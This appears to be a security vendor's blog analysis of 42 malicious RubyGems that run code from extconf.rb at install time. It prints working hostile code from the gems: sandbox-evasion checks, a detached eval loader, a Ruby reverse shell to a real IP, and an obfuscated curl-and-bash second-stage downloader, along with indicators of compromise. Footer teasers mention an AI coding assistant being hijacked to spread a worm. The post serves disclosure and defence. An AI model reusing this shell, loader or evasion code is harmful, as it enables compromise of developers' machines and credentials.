42 Malicious RubyGems Open a Reverse Shell at Install Time
On this page
On October 5, 2026, the RubyGems account reqthrottle_3474 published 42 malicious gems in about one hour. Most of the names target cryptocurrency developers, like eth-keystore-utils, bip39-wordlist-utils, and btc-wallet-tools. The last 16 are typosquats of real gems, like bitcion, etheremu.rb, kecack, and solaan-ruby. The malicious code runs during gem install or bundle install.
The gems do nothing in CI or in a sandbox. On a developer’s machine, they wait 20 to 40 minutes in the background, then do one of two things:
- Eleven gems open a reverse shell to
45.138.12[.]177on port 8089 or 8090. - Thirty-one gems download
wgkit.tar.gzfrom45.138.12[.]177:8092and runwg_install.shfrom it.
For the 11 reverse-shell gems, the installation completes with no visible error. If a workstation installed one of these gems, treat the machine and its credentials as compromised.
How the code runs at install time
A gem can declare a native extension in its gem specification. During installation, RubyGems runs the extconf.rb file of the extension with Ruby. For a real extension, this step makes a Makefile. The malicious gems use this step to run their code. All 42 gem specifications declare an extension:
extensions:
- ext/req_throttle_mini/extconf.rb The Ruby code in lib/ is a decoy. For example, lib/eth_keystore_utils.rb parses encrypted Ethereum key files. It does nothing malicious. The 31 newer gems also contain a C file with an empty Init_ function. This file makes the extension directory look like a real native extension.
All 42 extconf.rb files come from two templates. The 11 reverse-shell gems use template A. The 31 second-stage gems use template B.
Environment checks
Both templates do the same checks first. The gem stops if one of these conditions is true:
- The environment contains a CI variable (
CI,GITHUB_ACTIONS,TRAVIS,JENKINS_URL,GITLAB_CI,CODESPACES). - The hostname is empty,
instance,localhost, or containsuvm,firecracker,sandbox,vagrant, orfc-vm. - The username starts with
uAfollowed by digits, or containssandbox,tester,analys, orscanner. - The current directory is under
/opt/rubygems,/var/tmp,/tmp/,/private/var/tmp, or/workspace/.
Next, the gem looks for two signs of a real workstation:
- The system uptime is more than 30 minutes.
- The home directory contains
.ssh,.gitconfig,.npmrc,.gem/credentials, or.bundle.
def machine_age_ok?
ut = begin; File.read('/proc/uptime').split.first.to_f; rescue Exception; 0.0; end
ut > 1800
end
def dev_signals?
home = ENV['HOME'].to_s
return false if home.empty? || !File.directory?(home)
return true if File.exist?(File.join(home, '.ssh'))
return true if File.exist?(File.join(home, '.gitconfig'))
return true if File.exist?(File.join(home, '.npmrc'))
return true if File.exist?(File.join(home, '.gem', 'credentials'))
return true if File.exist?(File.join(home, '.bundle'))
false
end
unless in_ci? || ephemeral_host? || generated_user? || analysis_path?
if machine_age_ok? && dev_signals? A scanner can install the gem in a new container, under /tmp, or in a CI job. In each of these cases, the checks fail. The scanner then records a normal installation with no network traffic.
The loader
If the checks pass, the gem decodes a Base64 string into Ruby source code. It forks twice and calls Process.setsid, so the payload keeps running after the installation ends. The process sends standard input, output, and error to /dev/null. Then it runs the payload with eval.
pid = fork do
begin; Process.setsid; rescue Exception; end
child = fork do
begin
$stdin.reopen(File::NULL, 'r')
$stdout.reopen(File::NULL, 'w')
$stderr.reopen(File::NULL, 'w')
rescue Exception
end
sleep 1200 + rand(1200)
begin
eval(payload)
rescue Exception
end
exit!(0)
end
begin; Process.detach(child); rescue Exception; end
exit!(0)
end A rescue Exception block wraps each step. After the fork, template A calls create_makefile, and gem install finishes normally.
Template B is the same loader with two differences. It has no sleep, because its payload contains the delay. It also has no require 'mkmf'. Inference: without mkmf, the create_makefile call fails, and the installation shows an error. But the payload process starts before this error, so the error does not stop it.
Reverse shell payload
Eleven gems decode to the same reverse shell. Only the port is different.
require 'socket'
HOST, PORT = '45.138.12.177', 8090
loop do
begin
sock = TCPSocket.new(HOST, PORT)
sh = IO.popen(['/bin/sh'], 'r+')
t1 = Thread.new { IO.copy_stream(sock, sh) }
t2 = Thread.new { IO.copy_stream(sh, sock) }
t1.join; t2.join
begin; sh.close; rescue Exception; end
rescue Exception
end
sleep 30
end The operator gets a /bin/sh shell. The shell has the permissions of the user who ran gem install. If the connection stops, the payload connects again after 30 seconds. Four gems use port 8089: req-throttle-mini, bitcoin-rpc-lite, wallet-crypto-utils, and web3-eth-utils. The other seven gems use port 8090.
Second-stage download payload
Thirty-one gems decode to a downloader. The payload keeps the URL as a hex string. It decodes the string with XOR and the 4-byte key usv\x9a.
key = "usv\x9a".bytes
hex = '1d0702ea4f5c59ae405d47a94d5d47a85b4241ad4f4b46a3475c01fd1e1a02b4011204b41209'
bs = [hex].pack('H*').bytes
url = ENV['WG_KIT_URL'] || bs.each_with_index.map { |b, i| b ^ key[i % key.length] }.pack('C*')
sleep(ENV['WG_FAST'] ? 2 : 1200 + rand(1200))
cmd = "curl -s --max-time 25 \"#{url}\" -o /tmp/.w1.tgz; mkdir -p /tmp/.w1; tar xzf /tmp/.w1.tgz -C /tmp/.w1 2>/dev/null; bash /tmp/.w1/wg_install.sh >/dev/null 2>&1; rm -rf /tmp/.w1 /tmp/.w1.tgz"
system(cmd) rescue nil In all 31 gems, the string decodes to http://45.138.12.177:8092/wgkit.tar.gz. The payload then:
- Waits 20 to 40 minutes.
- Downloads the archive to
/tmp/.w1.tgz. - Extracts it to
/tmp/.w1/. - Runs
wg_install.shwithbash. - Deletes the files.
The environment variable WG_KIT_URL changes the URL. The variable WG_FAST sets the delay to 2 seconds. Inference: the operator uses them for tests. What wg_install.sh does is not known.
Indicators of compromise
| Indicator | Type |
|---|---|
reqthrottle_3474 | RubyGems account |
45.138.12[.]177:8089, 45.138.12[.]177:8090 | Reverse shell (TCP) |
hxxp://45.138.12[.]177:8092/wgkit.tar.gz | Second-stage download |
/tmp/.w1.tgz, /tmp/.w1/wg_install.sh | Second-stage files |
WG_KIT_URL, WG_FAST | Environment variables that the second-stage payload reads |
The account has 48 gems. Of these, 42 contain the malicious extension:
| Row | Ecosystem | Name | Version |
|---|---|---|---|
| 1 | gem | req-throttle-mini | 1.0.1 |
| 2 | gem | throttle-requests | 1.0.1 |
| 3 | gem | rate-limit-mini | 1.0.1 |
| 4 | gem | request-guard | 1.0.1 |
| 5 | gem | bitcoin-rpc-lite | 1.0.0 |
| 6 | gem | web3-eth-utils | 1.0.0 |
| 7 | gem | wallet-crypto-utils | 1.0.0 |
| 8 | gem | eth-keystore-utils | 1.0.0 |
| 9 | gem | btc-wallet-tools | 1.0.0 |
| 10 | gem | eth-address-utils | 1.0.0 |
| 11 | gem | crypto-mnemonic-tools | 1.0.0 |
| 12 | gem | wallet-backup-tool | 1.0.0 |
| 13 | gem | bip39-wordlist-utils | 1.0.0 |
| 14 | gem | hdkey-derive-helper | 1.0.0 |
| 15 | gem | blockchain-sync-utils | 1.0.0 |
| 16 | gem | tx-broadcast-utils | 1.0.0 |
| 17 | gem | electrum-protocol-lite | 1.0.0 |
| 18 | gem | coinmarket-utils | 1.0.0 |
| 19 | gem | web3-sign-helper | 1.0.0 |
| 20 | gem | crypto-key-utils | 1.0.0 |
| 21 | gem | bitcoin-address-utils | 1.0.0 |
| 22 | gem | ethereum-tx-helper | 1.0.0 |
| 23 | gem | merkle-proof-lite | 1.0.0 |
| 24 | gem | utxo-set-utils | 1.0.0 |
| 25 | gem | lightning-invoice-utils | 1.0.0 |
| 26 | gem | base58-check-helper | 1.0.0 |
| 27 | gem | bitcion-ruby | 1.0.0 |
| 28 | gem | bitcoij-ruby | 1.0.0 |
| 29 | gem | bitcion | 1.0.0 |
| 30 | gem | bitciin | 1.0.0 |
| 31 | gem | etheremu.rb | 1.0.0 |
| 32 | gem | etherdum.rb | 1.0.0 |
| 33 | gem | tron-rb | 1.0.0 |
| 34 | gem | lightinng-invoice | 1.0.0 |
| 35 | gem | ligbtning-invoice | 1.0.0 |
| 36 | gem | lighthing-invoice | 1.0.0 |
| 37 | gem | crypti-toolbox | 1.0.0 |
| 38 | gem | crylto-toolbox | 1.0.0 |
| 39 | gem | cryoto-toolbox | 1.0.0 |
| 40 | gem | kecack | 1.0.0 |
| 41 | gem | keccka | 1.0.0 |
| 42 | gem | solaan-ruby | 1.0.0 |
- rubygems
- ruby
- supply-chain
- malware
- package-analysis
Author
Kunal Singh
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering
An Attacker Hijacked an AI Coding Assistant to Spread a Worm
An attacker took over a live AI coding assistant session, got it to recommend a poisoned package, and used the stolen tokens to spread the Shai-Hulud worm across about 100 internal repositories.
DirtyBlanket: Fake Express Packages on npm Spread a Linux Worm
Nine fake Express and React packages on npm run a Linux worm at install time. It installs a Tor backdoor and spreads through SSH, AUR packages, and npm tokens.
PolinRider Switches to Ethereum C2 in 30+ Repositories
A malicious pull request against oxc led SafeDep to a larger campaign. The PolinRider loader family now reads its C2 servers from Ethereum transactions. SafeDep confirmed 35 GitHub repositories that...
Detecting Compromised AI Coding Agents with Jev and Gryph
I checked every action of my own Claude Code agent against a profile of how I work and a set of org policies, using Jev. It caught 14 of 14 attacks for $0.15 per 1,000 events.
Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.